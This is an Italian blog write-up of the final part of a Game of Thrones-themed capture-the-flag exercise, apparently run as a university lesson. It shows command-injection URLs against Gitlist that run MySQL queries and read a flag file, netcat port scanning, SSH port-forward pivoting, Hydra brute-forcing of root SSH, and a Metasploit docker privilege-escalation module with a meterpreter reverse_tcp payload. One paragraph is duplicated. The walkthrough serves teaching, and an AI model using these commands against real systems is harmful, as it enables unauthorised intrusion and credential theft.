CTF Game of Thrones – Parte V

Incipit

L’articolo tratta la quinta ed ultima parte della CTF (Capture The Flag) basata sull’universo di Game of Thrones, che ho avuto il piacere di svolgere come lezione per l’Università degli Studi di Perugia, in collaborazione con i Professori Stefano Bistarelli e Francesco Santini.

Potrete trovare i precedenti episodi all’interno del mio Blog, nella sezione CTF, Game of Thrones.

Capture The Flag, Parte V – The Iron Throne

Una foschia densa avvolgeva come un sudario la capitole dei Sette Regni, l’odore acre del fumo ci invase le narici appena sbarcati. Il silenzio irreale della grande città incombeva come un tremendo presagio dinanzi a noi.

Sapevamo, dalla mappa dei regni, che Approdo del Re era rappresentato dal servizio mysql. Oracle MySQL (o MySQL) è un sistema open source in grado di archiviare e gestire dati, suddividendoli in più tabelle e collegandole attraverso “chiavi”, una metodologia che prende il nome di database relazionale.

Analogamente a ciò che era avvenuto con PostgresSQL, durante la seconda Parte della nostra CTF, potevamo utilizzare il comando mysql per effettuare la connessione al database. Solo che, questa volta, avremmo dovuto farlo sfruttando la vulnerabilità di Gitlist che avevamo trovato.

Quindi la nostra prima azione con MySQL fu quella di “chidere” la visualizzazione delle tabelle, sfruttando la vulnerabilità ormai nota.

http://192.168.178.150:1337/casterly-rock/blob/master/%22%22%60mysql -h 192.168.178.150 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e "show tables;"%60

Rivediamo l’intera richiesta pezzo per pezzo:

• http://192.168.178.150:1337 : l’indirizzo IP della macchina vittima a cui stiamo puntando, con la relativa porta
• /casterly-rock/blob/master/ : il Path in cui effettuiamo il code injection
• %22%22%60 : la Vulnerabilità espressa tramite codifica URI (che trovate nella parte IV)
• mysql : da qui inizia il comando che “inject-iamo”
• -h 192.168.178.150 : puntiamo all’host target
• -u cerseilannister : username (reperito nella Parte IV)
• -p_g0dsHaveNoMercy_ : password (reperita nella Parte IV)
• -D kingslanding : il database per cui vogliamo effettuare la richiesta (reperito nella Parte IV)
• -e “show tables; : il commando per mostrarci le tabelle
• “%60 : termine dell’injection

Il comando ebbe successo e ci restituii un indizio importante.

Esisteva all’interno del Database “kingslanding” una tabella con il nome “iron_throne”. Il nostro prossimo passo fu quindi quello di visualizzare il contenuto della tabella, mediante una “select”.

 

http://192.168.178.150:1337/casterly-rock/blob/master/%22%22%60mysql -h 192.168.178.150 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e "select * from iron_throne;"%60

Il comando analogo al precedente differiva esclusivamente nella parte d’interrogazione al MySQL:

• -e “select * from iron_throne; : Execute command, esegui il comando di select sulla tabella con il nome iron_throne

Due indizi ci si pararono dinanzi.

Il primo, con la ricorrenza dei caratteri punto e linea, non lasciava molto adito a dubbi e probabilmente si trattava di codice morse. Aprii un browser e navigai ad uno dei molteplici siti che ne permettono la decodifica (scelsi ad esempio cryptool). Incollai il codice nell’apposito box ed il risultato fu il percorso: /ETC/MYSQL/FLAG

Il primo, con la ricorrenza dei caratteri punto e linea, non lasciava molto adito a dubbi e probabilmente si trattava di codice morse. Aprii un browser e navigai ad uno dei molteplici siti che ne permettono la decodifica (scelsi ad esempio cryptool). Incollai il codice nell’apposito box ed il risultato fu il percorso: /ETC/MYSQL/FLAG

Analizzando il risultato della nostra decodifica, ne dedussi che la flag fosse quindi contenuta all’interno di un file “FLAG”, che si trovava al percorso /ETC/MYSQL/

Teoricamente, avremmo potuto sfruttare ancora una volta la vulnerabilità di Remote Code Execution, avviare netcat ed ottenere una ReverseShell sulla nostra macchina (come avevamo fatto nella Parte IV) e recarci al percorso indicato, in modo da leggere il file ed ottenere la Flag. Ma purtroppo questo piano non sarebbe stato perseguibile, per via degli insufficienti permessi in nostro possesso.

Quello che però ci suggeriva il nostro secondo indizio, era apparentemente in contrasto con quanto appena verificato. Probabilmente godevamo di altri tipi di privilegi da qualche parte “all’interno del regno”. Difatti, l’utente con cui ottenevamo la ReverseShell era differente dall’utente con cui accedevamo al Database e magari quest’ultimo poteva effettuare operazioni all’interno del MySQL da “una posizione privilegiata”.

Decidemmo di seguire questa pista e vedere di quali privilegi godeva il nostro utente cerseilannister.

http://192.168.178.150:1337/casterly-rock/blob/master/%22%22%60mysql -h 192.168.178.150 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e "show grants for current_user;"%60

• -e “show grants for current_user; : esegue il comando, mostra quali permessi ha l’utente con cui ho effettuato l’accesso.

La faccenda si faceva interessante, l’utente cerseilannister all’interno del database kingslanding, poteva effettuare operazioni di SELECT, INSERT e CREATE.

Potevamo creare una nuova tabella all’interno del database ed inserire al suo interno il contenuto della FLAG di cui conoscevamo il percorso.

Quindi, come prima cosa ci adoperammo per creare il “contenitore” che avrebbe ospitato la flag, all’interno del DB:

http://192.168.178.150:1337/casterly-rock/blob/master/%22%22%60mysql -h 192.168.178.150 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e "CREATE TABLE flag (toto VARCHAR(400));"%60

• -e “CREATE TABLE flag (toto VARCHAR(400)) : esegue il comando, creando una tabella, chiamata “flag”, che conterrà una sequenza di stringhe di 400 bytes. VARCHAR ci permette di definire la grandezza del campo in modo variabile, adattandosi all’effettiva lunghezza del testo che andremo ad inserire.

Una volta creato il nostro “contenitore”, avremmo potuto caricare il contenuto della FLAG, al percorso celato all’interno del codice morse.

http://192.168.178.150:1337/casterly-rock/blob/master/%22%22%60mysql -h 192.168.178.150 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e "LOAD data INFILE '/etc/mysql/flag' INTO TABLE flag;"%60

• -e “LOAD data INFILE ‘/etc/mysql/flag’ INTO TABLE flag;“ : esegue il comando, caricando il contenuto del file flag, al percorso /etc/mysql/ , all’interno della tabella di nome “flag”.

Entrambi i nostri due ultimi comandi, non avevano generato errori. Quindi speranzosi, utilizzammo l’ultimo comando che avrebbe dato un riscontro ai nostri sforzi: visualizzammo il contenuto della tabella “flag” creata pocanzi.

http://192.168.178.150:1337/casterly-rock/blob/master/%22%22%60mysql -h 192.168.178.150 -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding -e "select * from flag;"%60

• -e “select * from flag;” : esegue il comando, effettuando una select sulla tabella di nome flag

I nostri sforzi non furono vani e dinanzi a noi si presentò la flag dell’ultimo dei sette regni, appena conquistato.

Non era ancora finita, avevamo ancora una missione da svolgere e fermare le mostruose creature del Nord: i White Walkers.

Le miniere parevano avere un accesso attraverso il protocollo SSH, porta 22. Aprimmo un altro terminale e digitammo il comando che ci avrebbe permesso di varcare la soglia.

ssh daenerystargaryen@192.168.178.150

Ci identificammo con l’utente daenerystargaryen e password -.Dracarys4thewin. Penetrando la fitta oscurità delle miniere.

Nella penombra della luce emanata dalle fiaccole, scorgemmo (utilizzando il comando ls ) due file:

checkpoint.txt e digger.txt

Il comando cat sul primo file (checkpoint.txt) ci mise dinanzi un nuovo enigma:

Secondo l’indizio che avevamo appena reperito dovevamo raggiungere l’IP 172.25.0.2 ma potevamo farlo solamente dall’interno delle miniere e sicuramente avremmo dovuto farlo utilizzando lo username root.

Il problema adesso, era determinare quale servizio in ascolto ci fosse sull’IP 172.25.0.2. Non potevamo utilizzare nmap, quindi decidemmo di ricorrere al buon “vecchio” netcat, decidendo di controllare le prime mille porte.

echo "CerchiamoLingresso" | nc -nvw2 172.25.0.2 1-1000

• echo “CerchiamoLingresso” | : il Pipe con il comando echo è necessario al fine di non interrompere il flusso attendendo l’input da tastiera, ma passandolo ogni volta con l’echo servendoci del pipe.
• nc : invoca netcat
• -n : nessun DNS Lookup
• -v : output con più informazioni
• w2: attende la connessioni per due secondi poi passa oltre
• 25.0.2: l’IP target
• 1-1000 : Il range di porte

Come già sospettavamo, la porta 22 con il servizio SSH aveva risposto.

Inoltre, il nostro secondo file digger.txt, presentava una lunga lista di parole: aveva tutto l’aspetto di una wordlist.

Ricomponendo i nostri indizi e quanto avevamo appena scoperto, l’ipotesi di un attacco di tipologia Password Guessing al SSH sull’IP 172.25.0.2 (utilizzando il nome utente root) si faceva sempre più vicina.

Ora però, avevamo ancora un ostacolo dinanzi a noi:

Il Password Guessing avremmo dovuto eseguirlo dalla nostra macchina attaccante verso l’IP 172.25.0.2. Ma dalla nostra macchina non saremmo riusciti a raggiungere il nostro target. Avevamo necessità di due cose:

1. Copiare in locale la wordlist presente nella miniera (il file digger.txt).
2. Un “portale” che ci permettesse, dalla nostra macchina attaccante, di giungere sino al giacimento di Dragonglass (IP 172.25.0.2)

Per prelevare il file digger.txt utilizzammo un comando classico dei sistemi Linux per il “Remote Copying”: scp (Secure Copy). Il comando utilizza i medesimi criteri di sicurezza usati dal protocollo SSH

scp daenerystargaryen@192.168.178.147:/home/daenerystargaryen/digger.txt .

• scp: invochiamo il comando
• daenerystargaryen@192.168.178.147 : username e target
• :/home/daenerystargaryen/digger.txt : percorso remoto del file che vogliamo copiare
• . : dove localmente, vogliamo copiarlo (nella cartella corrente, dove è stato eseguito il comando)

Adesso era il momento di creare il “portale” che ci avrebbe permesso di raggiungere il giacimento.

La tecnica utilizzata per muoversi da un sistema compromesso verso altri sistemi, altrimenti non raggiungibili, prende il nome di pivoting. Uno dei modi per eseguire questo attacco e utilizzare l’SSH Port Forwarding. SSH è un tool molto versatile, che non solo permette di stabilire una shell sicura verso il sistema target, ma può anche essere utilizzato per “deviare” il traffico verso porte differenti.

Ciò che ci serviva, era eseguire una tipologia di pivoting, nota come SSH Local Port Forwarding. In altre parole, avremmo dovuto creare un “passaggio” che ci permettesse di giungere dalla nostra macchina attaccante sino al luogo dove era custodita la grande riserva di Dragonglass, passando attraversando la miniera.

Il comando che elaborammo per portare a segno il nostro attacco fu il seguente:

• ssh: invochiamo il tool ssh
• daenerystargaryen@192.168.178.150 : entriamo all’interno della miniera fornendo, come al solito, nome utente e IP della macchina
• -L : opzione per eseguire il Local Port Forwarding
• 9999: porta locale (sulla macchina attaccante) dove vogliamo reindirizzare il traffico
• :172.25.0.2: : IP del nostro obiettivo, il giacimento di Dragonglass…
• 22: relativa porta
• -N : nessuna interazione. Nessuna esecuzione di comandi remoti

Una volta eseguito il comando ed inserita la password per accedere alla miniera, il cursore del terminale rimase immobile.

Quindi aprimmo un’altra finestra, un altro terminale, al fine di visualizzare sulla nostra macchina i processi in stato LISTENING, filtrandoli per le cifre 9999. Digitammo il comando:

netstat -an | grep 9999

Il nostro “portale” era pronto! Tutto il traffico, che ora, avremmo indirizzato verso la nostra macchina alla porta 9999 sarebbe stato reindirizzato, passando attraverso l’indirizzo IP delle miniere (192.168.178.150) per giungere infine all’IP del giacimento di Dragonglass 172.25.0.2 porta 22.

A questo punto, sul secondo terminale, non avremmo dovuto far altro che avviare l’attacco di Password Guessing, utilizzando il tool Hydra.

hydra -l root -P /home/k4ls33r/Documents/GOT/digger.txt ssh://localhost:9999

• hydra: il nostro tool di attacco
• -l : opzione per specificare lo username
• -P : opzione per specificare la wordlist
• /home/k4ls33r/Documents/GOT/digger.txt : percorso alla wordlist
• ssh://localhost:9999 : il target (il nostro “portale”)

Ci vollero pochi secondi per ottenere la password di accesso al giacimento segreto: Dr4g0nGl4ss!

Senza indugiare oltre, ci precipitammo a raccogliere il prezioso materiale. Sfruttammo un’ultima volta il portale per effettuare il collegamento via SSH.

ssh root@localhost -p 9999

Una volta digitata la password appena ottenuta, trovammo ciò che stavamo cercando. All’interno della miniera, dopo una breve ricognizione (ls -al) scovammo il prezioso materiale che ci avrebbe permesso di forgiare l’arma finale.

Un cat al file flag.txt ci mostrò che avevamo appena ottenuto la terza ed ultima flag segreta. “Il Tempo Infine era giunto” e lo scontro finale ci attendeva.

Armati di coraggio e delle nostre sole forze, utilizzammo il nuovo utente e la password ottenuti per connetterci ancora una volta alla macchina vittima, ma questa volta come: branstark .

Ci accolse il banner “Final Battle”. Ancora una volta il comando ls ci mostrò un file checkpoint.txt , che prontamente visualizzammo con il comando cat: dovevamo eseguire un Privilege Escalation per diventare root.

Il tempo scorreva velocemente e dopo aver eseguito alcune ricerche, balzò alla nostra attenzione che la macchina bersaglio era una docker.

[NOTA: Se volete addentrarvi nelle tecniche di Privilege Escalation vi rimando ad un mio articolo sul medesimo blog https://thehackingquest.net/privilege-escalation/]

Utilizzammo il comando msfconsole per invocare l’ormai famoso Framework. Una volta avviato, digitammo il comando search docker al fine di listare tutti i moduli che contenevano la parola “docker”. Fra di essi ve ne era uno che non lasciava adito a dubbi:

exploit/linux/local/docker_daemon_privilege_escalation

La prima cosa che dovevamo fare era analizzare il modulo. Lo caricammo tramite il comando, use exploit/linux/local/docker_daemon_privilege_escalation e passammo in rassegna le varie opzioni (che in realtà non erano molte): era necessario agganciare all’exploit una sessione.

La sessione che potevamo aprire sulla macchina era sicuramente una shell SSH. Quindi, come prima cosa, caricammo il modulo relativo (per aprire la sessione tramite SSH).

• use auxiliary/scanner/ssh/ssh_login

  use auxiliary/scanner/ssh/ssh_login

Settammo l’host bersaglio

• set RHOST 192.168.178.150

  set RHOST 192.168.178.150

Lo username:

• set USERNAME branstark

  set USERNAME branstark

La relativa password

• set PASSWORD Th3_Thr33_Ey3d_Raven

  set PASSWORD Th3_Thr33_Ey3d_Raven

Ed infine lo avviammo con il comandorunrun

Un messaggio ci avvertì che la sessione 1 era stata creata.

Adesso potevamo utilizzare l’exploit per il privilege escalation.

Caricammo il modulo:

• use exploit/linux/local/docker_daemon_privilege_escalation

  use exploit/linux/local/docker_daemon_privilege_escalation

Agganciammo la sessione che avevamo appena aperto, identificata mediante l’Id 1.

• set session 1

  set session 1

Non rimaneva che cambiare il Payload, utilizzando per l’occasione il meterpreter.

Il nome meterpreter deriva dalla fusione fra le parole “Metasploit” e “Interpreter” ed è un insieme di DLL che vengono injectate direttamente nella memoria del processo exploitato. Mette a disposizione dell’attaccante una serie di strumenti e comandi avanzati, ad esempio permette di richiamare Mimikatz aka Kiwi, estrapolare l’hash delle password dalla memoria, cambiare processo di injection, abilitare il Key Logging delle battiture, disattivare periferiche I/O, registrare da WebCam e Microsfono etc…

• set payload /linux/x86/meterpreter/reverse_tcp

  set payload /linux/x86/meterpreter/reverse_tcp

I parametri del Payload erano stati settati automaticamente e puntavano all’indirizzo IP della nostra macchina attaccante.

In una manciata di secondi, dopo il comando exploit, fummo dentro la macchina.

Avanzammo velocemente verso la cartella di root, con una serie di “Change Directory” cd / , cd root , sino a trovarci dinanzi (comando ls) l’ultimo file di checkpoint ed un file final_battle privo di alcuna estensione.

Il file di testo recitava il seguente indovinello

L’incisione faceva riferimento alle tre flag segrete reperite durante i nostri scontri, rispettivamente:

Savages Flag:

flag1 = “8bf8854bebe108183caeb845c7676ae4”

Braavos Flag:

flag2 = “3f82c41a70a8b0cfec9052252d9fd721”

DragonGlass Flag:

flag3 = “a8db1d82db78ed452ba0882fb9554fc9”

L’“Hints” che seguiva era più simile ad uno pseudo-codice. Era chiaro che dovevamo mescolare in qualche modo le tre flag segrete per ottenere una quarta flag “nascosta” e probabilmente una password.

Il file privo di estensione aveva tutta l’aria di essere criptato. Il primo istinto, come già era successo precedentemente, fu quello di utilizzare il tool mcrypt, ma solo dopo aver scaricato i due file utilizzando il comando download del meterpreter.

Il tentativo restituì un errore. La successiva ipotesi si rivelò corretta: era un file zippato. Quindi lo rinominammo con l’estensione .7z , con un banale move: mv final_battle final_battle.7z e tentammo di aprirlo.

7z x final_battle.7z

La scritta “Insert Password” ci indicò che eravamo sulla buona strada. Ma non avevamo ancora nessun’idea di quale fosse la password.

Capimmo quindi che avremmo dovuto concertarci sullo pseudo code per decifrare la password. Difatti la combinazione corretta era l’insieme delle ultime 10 cifre delle 3 flag.

Elaborammo un semplice Script in Python (lastbattle.py) per mescolare le flag secondo l’indizio:

#Savages Flag – Parte I metadata del file .mp3
flag1 = "8bf8854bebe108183caeb845c7676ae4"
#Braavos Flag – Parte III Database Braavos PostgreSQL
flag2 = "3f82c41a70a8b0cfec9052252d9fd721"
#DragonGlass Flag – Parte V Le miniere SSH Pivoting
flag3 = "a8db1d82db78ed452ba0882fb9554fc9"
flagpwd1 = flag1[len(flag1) – 10:] + flag2[len(flag2) – 10:] + flag3[len(flag3) – 10:]
print (“LastBattleKey: “ + flagpwd1)

L’output del comando python3 lastbattle.py produsse il risultato atteso, la password per il file zippato final_battle.

LastBattleKey: 45c7676ae4252d9fd7212fb9554fc9

Riaprimmo il file zippato digitando questa volta la chiave agognata. Un ultimo cat sul file estratto (falg.txt) ci rivelò la soluzione all’enigma finale.

Fu così, che proprio quando le ultime luci dell’alba stavano morendo dietro la foresta a settentrione, un sordo boato riempì la vallata segnando la fine della battaglia e la nostra vittoria finale!